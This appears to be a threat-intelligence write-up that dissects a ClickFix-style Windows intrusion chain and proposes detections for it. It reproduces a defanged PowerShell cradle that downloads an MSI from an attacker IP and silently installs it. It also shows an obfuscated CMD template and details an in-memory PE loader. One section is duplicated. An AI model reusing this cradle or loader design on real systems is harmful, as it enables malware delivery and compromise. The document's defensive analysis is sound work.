From a pasted command to an MSI-backed loader

TL;DR

A command made almost entirely of numbers does not look like a software installer. In the activity examined here, it rebuilt a hidden PowerShell downloader, retrieved an MSI over HTTP and then handed execution to another PowerShell script designed to load an executable directly into memory. The destination was hidden in plain sight: the integer 392073565 represents 23.94.145[.]93.

In our Nightwatch platform we observed that the sequence on 8 October 2026 is consistent with a ClickFix-style attack targeting Windows systems: a browser interaction was followed by a desktop-launched command and a deliberately concealed installation chain. We can establish the malicious loader’s purpose with high confidence. We cannot establish the exact lure that kicked off the execution chain, however we discovered strong evidence to correlate this with a traditional ClickFix-style social engineering attack.

For defenders: prioritize the transitions between processes and the reconstructed script content, not just the visible URL or a familiar Base64 prefix. The host-side network connection still exposed the real download address, and the installer-to-PowerShell transition provided another clear detection opportunity.

The attack chain at a glance

The chain begins in the Windows desktop shell rather than with a direct browser-to-PowerShell child process. From there, an obfuscated CMD command starts encoded PowerShell, which downloads and invokes a local MSI. The installer then launches the in-memory loader.

The first transition is PowerShell → msiexec, while the later transition is msiexec → PowerShell.

The following timeline uses the obfuscated CMD launch as T+0. Offsets are approximate, particularly where browser events were collected in coarse batches. The error-reporting event is deliberately not assigned a precise offset.

A plausible browser lead, not a proven lure

ClickFix persuades a user to carry out the execution step, commonly by presenting a fake verification task or a repair instruction and asking them to paste a command into a Windows dialog or terminal. Microsoft and Proofpoint have documented this pattern across multiple delivery channels. That describes a social-engineering technique, not a single malware family or operator.

Here, Chrome resolved n74ty.cinemadataflow[.]cfd roughly 65 seconds before the main command ran. Its proximity makes the domain a useful initial-access lead. However, the supplied evidence contains neither the page content nor a clipboard transaction, referrer chain, or user-visible instruction connecting that domain to the command. The ClickFix assessment is therefore supported by the sequence, not by a recovered lure.

The same browser-event batch contained approximately 40 outbound HTTPS connections. A shared timestamp batch does not establish that all of those connections went to this domain or formed one redirect chain. A separate query to an IP-lookup service is also insufficient to label that service attacker infrastructure.

What public infrastructure data adds

Public scanner records provide supporting leads, but their assessments are mixed. A PCrisk scan dated 1 October 2026 categorized the base domain as phishing while showing no engine detections. A Gridinsoft record for a sibling subdomain reports a 30 September 2026 registration date. These are scanner-reported observations, not independently verified registration evidence or proof about the exact page visited in this incident.

The analyst-supplied VirusTotal snapshot is dated 11 October 2026, after the incident. It lists 104.21.33[.]193 and 172.67.191[.]247, plus multiple sibling subdomains, at 0/92 detections. These results do not make the domain safe, establish its earlier DNS state, or prove that every sibling served the same content. The reported domain search covered ten days; a longer search timed out.

A plausible browser lead, not a proven lure

ClickFix persuades a user to carry out the execution step, commonly by presenting a fake verification task or a repair instruction and asking them to paste a command into a Windows dialog or terminal. Microsoft and Proofpoint have documented this pattern across multiple delivery channels. That describes a social-engineering technique, not a single malware family or operator.

Here, Chrome resolved n74ty.cinemadataflow[.]cfd roughly 65 seconds before the main command ran. Its proximity makes the domain a useful initial-access lead. However, the supplied evidence contains neither the page content nor a clipboard transaction, referrer chain, or user-visible instruction connecting that domain to the command. The ClickFix assessment is therefore supported by the sequence, not by a recovered lure.

The same browser-event batch contained approximately 40 outbound HTTPS connections. A shared timestamp batch does not establish that all of those connections went to this domain or formed one redirect chain. A separate query to an IP-lookup service is also insufficient to label that service attacker infrastructure.

The first layer: a command assembled one character at a time

The initial command stores a scrambled character alphabet in a variable named Note. A FOR loop walks a long list of integer positions, retrieves one character at each position, and appends it to Text. This conceals the recognizable PowerShell command until CMD reconstructs it.

Figure 1. Captured character-index CMD command. The long number list is a reconstruction recipe, not the payload itself. Do not execute captured commands.

The important pieces are easier to see in an abbreviated, non-executable view:

cmd /v:on /q /c "set Note=<character alphabet>& set Text=.&
(for %j in (<numeric index list>)
do set Text=!Text!!Note:~%j,1!)
& set Text=!Text:@= !& call !Text:~1!"

The /v:on switch enables delayed expansion, allowing the loop to update the reconstructed string as it runs. The substring expression !Note:~%j,1! selects one character. After the loop, the script replaces its @ placeholders with spaces, removes the initial dot from Text, and passes the resulting command to CALL.

We rebuilt the string offline from the supplied alphabet and index list. The result matches the separately captured child-process command: a fully qualified Windows PowerShell executable using -nop -w h -enc followed by Base64 data. This removes an uncertainty in the initial analysis: the reconstruction is verified rather than inferred solely from the child process.

Why this is useful for detection

The stable behavior is substring extraction inside a loop followed by execution, not the particular alphabet or variable names. A rule looking only for caret-heavy CMD obfuscation can miss this form completely. Useful predicates include delayed expansion, a dense integer list, substring syntax, and a final CALL, with the PowerShell child adding confidence. These are proposed detection features derived from this sample, not proof that every matching administrative batch file is malicious.

Hidden PowerShell retrieves and installs the MSI

Once reconstructed, the command launches Windows PowerShell without a profile, hides its window, and supplies the script through EncodedCommand. The Base64 content decodes as UTF-16LE, as documented for this parameter. Encoding obscures the text; it does not encrypt it.

Figure 2. Captured PowerShell command after CMD reconstruction. Its EncodedCommand argument contains the downloader and installer invocation.

Offline decoding produces a short sequence: change to the temporary directory, download v.msi then invoke Windows Installer. The following is a defanged, expanded representation, not the original runnable one-liner. The original download argument omitted a scheme and used the numeric host token 392073565[/]33829.

# representation for analysis
cd $env:TMP
iwr "hxxp://23.94.145[.]93/33829" ` -OutFile v.msi -UseBasic
Parsingmsiexec /i v.msi /qn MSIINSTALLPERUSER=1

The downloader uses iwr, the alias for Invoke-WebRequest, and writes the response to v.msi. In the observed Windows PowerShell execution, the scheme-less argument resulted in an HTTP connection: endpoint telemetry recorded TCP/80 to the decoded address, followed by creation of the installer file. This observed behavior should not be generalized to every URL parser or PowerShell host. [E1]

The download path /33829 is a URL path component, not a port number. The slash separates it from the numeric host. A port would be introduced by a colon; the actual network connection in this case was to port 80.

Two distinct representations, one destination

The command text carries an integer-form host. The network event carries the normal IPv4 destination. Correlating the two exposes the destination without needing to contact the server or execute the suspicious script.

Neither hidden-window execution nor Base64 alone proves maliciousness. Here, the combination matters: a desktop-launched obfuscator produces a hidden downloader that retrieves an installer from a raw-IP destination and immediately runs it without a user interface. [E1, A1]

392073565 is an address, not a random identifier

The downloader’s most interesting detail is also one of its simplest. IPv4 is a 32-bit address, usually written as four decimal octets. Some compatible networking parsers also accept the entire address as one integer. Microsoft’s IPAddress.Parse documentation explicitly describes this one-part form. Support is parser-dependent; the endpoint connection is the decisive evidence that it worked in this chain.

For this sample, the conversion is exact:

392073565 = 23 × 2^24 + 94 × 2^16 + 145 × 2^8 + 93
= 0x175E915D
→ octets 23 | 94 | 145 | 93
→ 23.94.145[.]93

The detection blind spot

A literal search for the dotted IP in process command lines will not match the int form. Similarly, a rule that only extracts hosts after http:// or https:// can overlook this scheme-less argument. The Base64 layer creates another visibility boundary: the integer itself is not present as clear text in the parent’s encoded command argument. These are concrete coverage gaps in representation, not evidence that a particular security product was bypassed.

A practical analysis pipeline should preserve the original command, decode supported EncodedCommand data as text without evaluating it, locate URL-like arguments, and normalize valid numeric host forms into a separate field. Require appropriate command context and a valid 32-bit range before treating a long decimal number as an IP. Do not rewrite every number in a script as a network indicator.

This conversion can be reproduced offline without DNS or HTTP traffic:

import ipaddressaddress = ip
address.IPv4Address(392073565)
print(str(address).replace(".", "[.]"))
# 23.94.145[.]93

The broader lesson is straightforward: retain both the representation the attacker supplied and the destination the endpoint actually contacted. Either view on its own tells only part of the story.

The MSI launches another hidden PowerShell process

After the file is written, the downloader invokes a local installer. The remote address is absent from this msiexec command because PowerShell has already performed the download. That distinction is important for rules focused on remote MSI installation: requiring a URL inside the msiexec command line would miss this stage.

msiexec.exe /i v.msi /qn MSIINSTALLPERUSER=1

The /i switch installs the package and /qn requests no user interface. The MSIINSTALLPERUSER=1 property expresses a per-user installation request, but it is not proof of the resulting installation context. Microsoft documents that the property depends on a suitably authored dual-purpose package and ALLUSERS=2. Those internal package properties are not available in the evidence.

The installer engine appears as a second msiexec process using -Embedding, then writes a temporary PowerShell script and invokes it with the MSI path as an argument. This behavior is consistent with installer-authored execution, but the package’s custom-action table was not recovered.

Figure 3. Installer-launched PowerShell. The MSI is passed to the script as its first positional argument.

powershell.exe -NoProfile -ExecutionPolicy Bypass ` -WindowStyle Hidden -File "%TEMP%\<loader>.ps1" ` "%TEMP%\v.msi"

This is a normalized rendering of the captured command. The actual environment-specific absolute paths have been removed. The loader consumes the MSI path through $args[0], so the installer file serves two roles: it starts the chain’s next stage and supplies the container from which that stage retrieves an embedded executable.

ExecutionPolicy Bypass is visible in the command, but the evidence does not show an AMSI patch, an EDR-disabling step, or privilege escalation. The recorded integrity information does not demonstrate elevation. Those claims should not be inferred from the Bypass switch.

A legitimate Windows binary does not make the package legitimate

The suspicious behavior is the full sequence: a hidden downloader, an untrusted local MSI, and an installer process launching a hidden loader from a temporary path. Windows Installer is the execution bridge, not evidence of a trusted payload.

The decimal pairs decode without a missing lookup table

Two script records appear under the installer-launched PowerShell process. One is an incomplete data-building script containing repeated assignments to $kB8dPhw. The other is an obfuscated loader script. The visible data-script excerpt begins with pairs as seen in the figure below:

At first glance, these can look like coordinates into an unknown lookup table. In this sample they are decimal representations of the high and low hexadecimal nibbles of an ASCII byte. The conversion is simply character = chr(16 × x + y). This was tested against the original code.

Decoding all twelve visible assignment lines reconstructs 96 bytes. As you’ll notice in the next section, it exactly matches the beginning of the separately supplied loader, including its randomized variable name. The trailing fragment below is intentionally incomplete:

$ErrorActionPreference='Stop'$fbrUD6FB=
$args[0];
if(-not $fbrUD6FB){$fbrUD6FB=[Environment]::Ge

This is strong evidence that the data script carries an encoded form of the same loader. It does not establish byte-for-byte equality across the entire script, the independently captured loader is the basis for the remaining code analysis.

The source record reports roughly 400 append lines, but only the excerpt is available for offline reconstruction here. Its isComplete=false flag must be retained as a coverage limitation. That flag alone also does not establish whether the associated hash was calculated over the returned fragment, the full script, or another normalized representation.

The comment # Elmer.Allan is a useful sample marker. It is not sufficient to identify an author, malware family, or threat actor. Randomized-looking variable and assembly names are also useful pivots, but none is a durable campaign attribution by itself.

Decoding this script reveals yet another heavily obfuscated PowerShell script designed to reflectively execute code from within the MSI file itself.

The MSI is also a container for the next executable

Moving into the decoded loader, the first task is to locate the MSI. It accepts a path through $args[0], falls back to the environment variable YLEUEx5FaS, and returns if neither is present. It then builds a dynamic .NET assembly that exposes Windows API calls through P/Invoke. This lets the PowerShell script call installer and memory-management functions without compiling a separate helper DLL to disk.

The next step is an installer database query. The script opens the MSI and reads the Data stream for a specific record in the Binary table:

SELECT `Data` FROM `Binary` WHERE `Name` = 'gcBKTomKhnYp'

The Binary table is a legitimate Windows Installer mechanism for storing binary data. Its presence is not malicious on its own. What makes this use distinctive is the combination of a named binary stream, a custom decoder, and an execution path that treats the recovered bytes as a Windows executable.

The relevant API sequence is MsiOpenDatabase → MsiDatabaseOpenView → MsiViewExecute → MsiViewFetch → MsiRecordReadStream. The script copies the stream into a byte array and closes the installer handles before continuing.

A second, separate encoding scheme

This stream does not use the decimal-pair text encoding discussed earlier. Instead, the loader interprets its first four bytes as a small header. The first byte is a stride, the second is an offset within each stride group, and the third determines whether the reconstructed bytes should be reversed. The fourth header byte is skipped and has no visible use in the decoder.

Header: [ stride | offset | reverse flag | skipped byte ]
For each output position i: output[i] = stream[4 + i × stride + offset]
If the reverse flag is nonzero: reverse the reconstructed byte sequence

In other words, the payload bytes are interleaved with bytes the loader does not select, then optionally reversed. This is custom encoding, not cryptographic encryption. A simple scan of the raw stream may therefore fail to see an ordinary PE header at the expected location. The actual values and resulting executable cannot be verified without recovering the MSI.

What we can recover and what we cannot

The script provides enough information to extract and decode the stream offline from a preserved installer. It does not contain the stream itself. The embedded executable’s hash, imports, strings, configuration and family are therefore unknown. The installer file should be treated as the highest value outstanding artifact, rather than filling those gaps with a sandbox sample that merely looks similar.

One loader, two execution paths

After reconstructing the stream the script inspects PE headers. PE is the Windows executable format used by many EXE and DLL files. The loader reads the PE-header location, checks the optional-header magic, and examines the CLR runtime-header directory to decide between managed .NET loading and native loading. These decisions are visible in the code though we were not able to identify which branch was taken.

Managed .NET path

For an image with a CLR header, the script calls [Reflection.Assembly]::Load(byte[]), locates the assembly’s EntryPoint, and invokes it. If the entry point returns, the script enters a loop that sleeps for 30 seconds at a time. The intended effect is to keep the hosting PowerShell process alive rather than exit immediately after dispatching the payload.

Native PE path

The native branch implements a small manual mapper. It checks that the payload’s bitness matches the host process, reserves and commits memory, and first tries the preferred image base. If that address is unavailable, it allocates elsewhere and attempts to apply relocation fixups. It resolves named imports through LoadLibraryA and GetProcAddress, copies headers and sections, changes the mapped image’s protection to 0x40 / PAGE_EXECUTE_READWRITE, and calls CreateThread at the mapped entry point.

This is current-process loading. The recovered code does not show a target PID, OpenProcess, WriteProcessMemory, or a remote-thread call. Describing it as injection into another process would be inaccurate. It is also not a wholly fileless attack: the MSI and PowerShell script were written to disk, even though the next executable is intended to remain in memory.

The crash is a finding, not an explanation

An associated WerFault process indicates Windows error-reporting activity for the loader host. Its precise event ordering is unreliable. This does not identify the faulting instruction, the selected loader branch, or whether a payload had already begun running.

There is a potential reliability defect in the relocation code: };elseif(...) separates elseif from the preceding if with a semicolon. The published PowerShell grammar permits newlines within that construct rather than a statement-separating semicolon. If execution reaches the separated statement, an error would not depend solely on a type-10 relocation: any valid relocation entry that reaches it could be affected. This is a static finding, not a runtime-tested explanation for the observed error report.

The mapper also skips ordinal imports and contains no visible TLS-callback handling. These limitations reinforce the need to test the recovered executable in a controlled environment. They do not prove that the observed run failed, nor justify a claim that the endpoint was left unaffected.

Detect the transitions + enrich with the decoded content

The most durable detection opportunity is not one unusual switch. It is the relationship between stages: desktop-launched command obfuscation, hidden PowerShell, an installer write, silent MSI execution and a new PowerShell process receiving that MSI as input. Treat the browser lead as enrichment rather than a mandatory parent-process condition.

Priority 1: installer engine to a temporary PowerShell script

Start with process creation where msiexec launches powershell.exe or pwsh.exe. Increase confidence when the parent uses -Embedding, the child uses -File with a temporary PS1, and the child’s arguments include an MSI path. Hidden-window and execution-policy switches add context but should not be the entire rule. Review legitimate software deployment and installer custom actions before tuning exclusions.

As a verified public reference, SigmaHQ’s Suspicious MsiExec Embedding Parent, by frack113, checks for PowerShell or CMD children of an msiexec command containing -Embedding. Its selection logic fits the recorded transition, subject to backend field mapping and the rule’s existing filters.

Priority 2: PowerShell reads an MSI and prepares memory execution

In script-content telemetry, combine MsiOpenDatabase and MsiRecordReadStream with either Assembly]::Load or a native-loading combination such as VirtualAlloc, VirtualProtect, and CreateThread. The exact Binary record name is a useful enrichment term, but requiring it would make the rule unnecessarily build-specific. This detects loader code being observed, not proof that every API call completed.

Proposed script-content predicate (pseudologic): MsiOpenDatabase AND MsiRecordReadStream AND (Assembly]::Load OR (VirtualAlloc AND VirtualProtect AND CreateThread))

Priority 3: normalize the downloader’s representations

Keep a separate analytic for PowerShell or decoded script content that combines a numeric-host download, an MSI output, and a subsequent msiexec invocation. Support the iwr alias and scheme-less arguments in this case. Correlate the process with its actual network destination and file write; otherwise a broad numeric-token rule will generate noise.

When correlating events, use a stable process identifier together with endpoint identity and a bounded interval. A PID alone is vulnerable to reuse. The chain’s approximately 22-second progression is a useful test case, not a universal threshold for every variant. Account for delayed ingestion, coarse timestamps and separate installer-engine processes when selecting the window.

ClickFix focused detections

A detection named for ClickFix, encoded PowerShell or MSI execution may still miss the exact evidence. Selection needs to be based on the predicates and the available data source, not the title. The following checks are particularly relevant to this chain.

For example, SigmaHQ’s Suspicious PowerShell Encoded Command Patterns contains a set of specific encoded-string prefixes. A static comparison of that selection against this captured command does not match its encoded-content requirement. The command’s use of -enc by itself is not sufficient for that rule. Similarly, the upstream Potential Dosfuscation Activity rule’s listed string patterns do not match the alphabet-index command in this sample. These are coverage observations about the inspected rule versions, not criticisms of their intended scope.

A useful validation set

Replay sanitized event fixtures—not the executable chain—against candidate detections. Include the actual process ancestry, the YwBk-prefixed command, the local MSI invocation, the installer’s temporary-script child, and the recovered loader text. Add negative fixtures representing approved installers, legitimate encoded administration, and unrelated large numeric values. Confirm that allowlists do not accidentally suppress the suspicious sequence.

Record which telemetry each rule requires. Process-creation data can cover the interpreter transitions. File and network events can establish download staging. Script-content collection is needed for the MSI API predicate. Endpoint memory telemetry is needed to move from “loader code observed” to a stronger execution finding. A query language’s ability to express a condition does not guarantee that the required data is ingested.

Publication status of the language-specific detections

The requested two-per-language production-corpus selection is not yet verified. The editor-only appendix contains a ten-slot selection brief and acceptance criteria for KQL, Sigma, SentinelOne, Cortex XQL, and YARA-L. It is not presented as a curated or deployment-tested rule pack.

Map only what the evidence supports

The mappings below distinguish observed execution from behavior visible only in recovered code. A technique mapping describes the procedure, not the identity of the actor using it.

What remains unknown

The embedded executable has not been recovered, and the supplied telemetry does not establish its malware family, command-and-control infrastructure, persistence, credential access, lateral movement, or exfiltration.

The source review also reported no alert for this chain within a limited review window; that is not a controlled test of endpoint-product efficacy and does not demonstrate a successful security-control bypass.

Overall verdict

The observed staging and the recovered loader are malicious with high confidence in this context. The exact initial lure and the final executable’s behavior remain unresolved. Treat the event as a potential compromise requiring containment and artifact recovery though not as a harmless failed installer.

Wrapping it up…

The interesting part of this attack is not a new Windows feature. It is how several ordinary features are chained together: a character lookup, an encoded command, an alternate spelling of an IP address, a silent installer, and a loader that treats installer data as executable code. Each layer makes the next step less obvious without making it invisible.

For defenders, the answer is to follow the data and the process transitions. Decode the command as text, compare it with the network event, retain the installer, and distinguish loader intent from demonstrated payload behavior. That produces both a stronger investigation and detections that survive more than one filename, domain, or obfuscation alphabet.

Indicators and artifacts

These indicators relate to the 8 October 2026 activity unless noted. Network indicators are defanged.

Download infrastructure

Download destination: 23.94.145[.]93

contacted by PowerShell. Its role as post-load command-and-control infrastructure is unconfirmed.

Download resource: hxxp://23.94.145[.]93/33829

recovered from the downloader and corroborated by network telemetry.

Integer-form host: 392073565

the decimal representation of the same download IP. FD2_Pasted-Command_-_MSI_Loader…

Installer and loader artifacts

Downloaded installer: %TEMP%\v.msi

ritten to disk. Its file SHA-256 was not recorded.

Loader script: %TEMP%\<loader>.ps1

written and launched by the installer.

MSI Binary record: gcBKTomKhnYp

exact stream name referenced by the loader.

Environment variable: YLEUEx5FaS

provides an alternative MSI-path input; runtime use is unconfirmed.

Script markers: $kB8dPhw and # Elmer.Allan

encoded-wrapper hunting pivots, not actor attribution.

Dynamic identifiers: Assembly N153486, module m153486, and type T153486

sample-specific and easily changed.

Contextual infrastructure — not confirmed payload delivery

Candidate initial-access domain: n74ty.cinemadataflow[.]cfd

resolved by the browser approximately 65 seconds before execution. Its delivery role remains unconfirmed.

Parent domain: cinemadataflow[.]cfd

research pivot. Sibling-domain findings do not establish identical behavior across subdomains.

Shared addresses: 104.21.33[.]193 and 172.67.191[.]247

appear in the supplied 11 October 2026 passive-DNS snapshot

Relevant Community detections

All ten rules below are published in the Detections.ai Community group. The links open the detection page; viewing the rule logic itself needs a free login, and from that page any rule can be translated into the other supported languages if your stack is not the one it was written for. We picked two per language from the most-copied contributors, and tested each against the command lines and lineage in this chain.

KQL (Microsoft Sentinel and Defender)

ClickFix: explorer.exe spawns PowerShell via Win+R paste with RunMRU artifact
Contributor: tektrix (Ibrahim Saud)
https://detections.ai/detections/019f292c-ae29-765d-a611-6ecd0de753f4What it catches here: the Run-dialog launch, correlated in time with the RunMRU registry write.

ClickFix paste-and-run: PowerShell launched via Run dialog from explorer.exe
Contributor: slaz (Arnold Chan)
https://detections.ai/detections/01a0a06a-42ff-72a0-9cb3-6154417abdc0
What it catches here: the same Run-dialog lineage with encoded-flag, hidden-window and download-cradle checks. Tuning: add cmd.exe. 

InstallFix - CMD Variable Splitting Obfuscation (T1027)
by tektrix
(https://detections.ai/detections/019eebe9-bb7d-7708-a79f-383572812524) Targets the Stage 1 trick directly. Its regex is written for the InstallFix variant, which splits the word powershell across two variables

Sigma

ClickFix Run-Dialog Clipboard Paste Leading to Encoded Shell Execution
Contributor: duotech
https://detections.ai/detections/01a016ff-1176-7609-ba3f-288d2814d6d9
What it catches here: Stage 1 as written. It looks for explorer spawning cmd, PowerShell, mshta or cscript with an encoded-command marker anywhere in the command line

Explorer-spawned PowerShell chains to msiexec silently installing PuTTY
Contributor: tektrix (Ibrahim Saud)
https://detections.ai/detections/01a0c9af-4012-742e-9024-8e5d01041044
What it catches here: Stage 3, PowerShell spawning a quiet msiexec. Tuning: it requires PowerShell to be the direct child of explorer.

S1QL

ClickFix: Run-dialog spawned PowerShell/mshta with hidden/encoded execution
Contributor: tektrix (Ibrahim Saud)
https://detections.ai/detections/01a0dee0-ee83-7476-aeaf-7bbfcc3ae5f8
What it catches here: Stage 2. Tuning: it matches cmd.exe as the explorer child already, which covers the first hop.

ClickFix RunMRU registry write with PowerShell/curl/base64
Contributor: tektrix (Ibrahim Saud)
https://detections.ai/detections/01a0b336-1687-777b-b590-209124d6cf47 What it catches here: the Run-history artifact. 

Cortex XQL

ClickFix: Explorer-Spawned Encoded PowerShell/MSHTA via Run Dialog
Contributor: tektrix (Ibrahim Saud)
https://detections.ai/detections/01a0ded3-a2e7-7408-82cd-940543cc8db9 What it catches here: Stage 1 and 2 together; it already accepts cmd.exe as the explorer child and matches the encoded flag. 

Silent MSI Install via PowerShell/cmd Spawning msiexec /qn or /quiet (Non-Standard Source)
Contributor: duotech
https://detections.ai/detections/019fd1fc-5840-7671-8f79-ce869b0cb7c8
What it catches here: Stage 3. Tuning: the path extraction requires an absolute or UNC path to the MSI

YARA-L (Google SecOps)

ClickFix PowerShell paste executing decimal-IP download via irm/Out-File
Contributor: tektrix (Ibrahim Saud)
Based on the Huntress custom-GPT report https://detections.ai/detections/01a0ec44-1e7e-7699-8b35-2997be1a04d9
What it catches here: the decimal-IP download in Stage 2, which is the rule’s whole purpose. 

StrikeShark msiexec T1218.007 Remote/Writable-Path Load with Suspicious Child
Contributor: tektrix (Ibrahim Saud)
https://detections.ai/detections/019f0fd7-d0e1-7493-8f9b-1cba43a797e1
What it catches here: the Stage 3 to Stage 4 hand-off, msiexec spawning PowerShell within five minutes of a quiet install from a temp path. 

Sources and technical documentation

Public sources reviewed for this draft on 16 October 2026. Research articles supply context; they are not evidence that the same actor, lure, or payload was involved. Scanner observations and the sandbox sample are explicitly separated from incident evidence. Hyperlinked titles lead to the source publications.

[1] Microsoft Threat Intelligence. Think before you Click(Fix): Analyzing the ClickFix social engineering technique. 21 August 2025. General technique and defensive context.

[2] Proofpoint. Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape. 18 November 2024. Independent observations of the social-engineering pattern.

[3] Microsoft Learn. about_PowerShell_exe — Windows PowerShell 5.1. EncodedCommand, UTF-16LE, and process-startup options.

[4] Microsoft Learn. IPAddress.Parse method. Remarks describe one-part and other IPv4 address representations.

[5] Microsoft Learn. MSIINSTALLPERUSER property. Requirements and limits for requesting per-user installation.

[6] Microsoft Learn. Binary Table. Windows Installer binary-data storage.

[7] Microsoft Learn. PE Format. Executable headers, sections, imports, relocations, and CLR directory.

[8] Microsoft Learn. PowerShell language specification — Grammar. Published grammar used for the static if/elseif syntax observation; not a runtime test.

[9] PCrisk. Security scan record for cinemadataflow[.]cfd. Scanner-reported phishing classification and engine results. Contextual lead only.

[10] Gridinsoft. Scan record for pztf[.]cinemadataflow[.]cfd. Sibling-domain record and reported parent-domain registration date; not incident-page evidence.

[11] Cloudflare. Cloudflare IP addresses. Proxy address sharing and the distinction between edge and origin addresses.

[12] Joe Sandbox. Windows analysis 1982985 — k.msi. External sample comparison. Use recorded process/file evidence, not unsupported inferences from automated summaries.

ATT&CK and detection references

[13] MITRE ATT&CK. T1204.004 — Malicious Copy and Paste. Technique definition; the copy-and-paste mechanism is assessed in this case.

[14] MITRE ATT&CK. T1059.003 — Windows Command Shell; T1059.001 — PowerShell. Interpreter execution mappings.

[15] MITRE ATT&CK. T1027.010 — Command Obfuscation; T1140 — Deobfuscate/Decode Files or Information. Command reconstruction and decoding mappings.

[16] MITRE ATT&CK. T1105 — Ingress Tool Transfer; T1218.007 — Msiexec. Download and installer-mediated execution mappings.

[17] MITRE ATT&CK. T1620 — Reflective Code Loading. In-memory loading technique; successful payload execution remains unconfirmed.

[18] SigmaHQ / frack113. Suspicious MsiExec Embedding Parent. Rule ID 4a2a2c3e-209f-4d01-b513-4155a540b469. Public upstream logic reviewed; production-corpus membership and deployment validation not established.

[19] SigmaHQ / Florian Roth. Suspicious PowerShell Encoded Command Patterns. Rule ID b9d9cc83-380b-4ba3-8d8f-60c0e7e2930c. Reviewed to explain the prefix-dependent coverage gap.

[20] SigmaHQ / frack113 and Nasreddine Bencherchali. Potential Dosfuscation Activity. Rule ID a77c1610-fc73-4019-8e29-0f51efc04a51. Reviewed to distinguish listed obfuscation patterns from this sample’s reconstruction syntax.

[21] Microsoft Learn. msiexec. Installation and user-interface command-line options.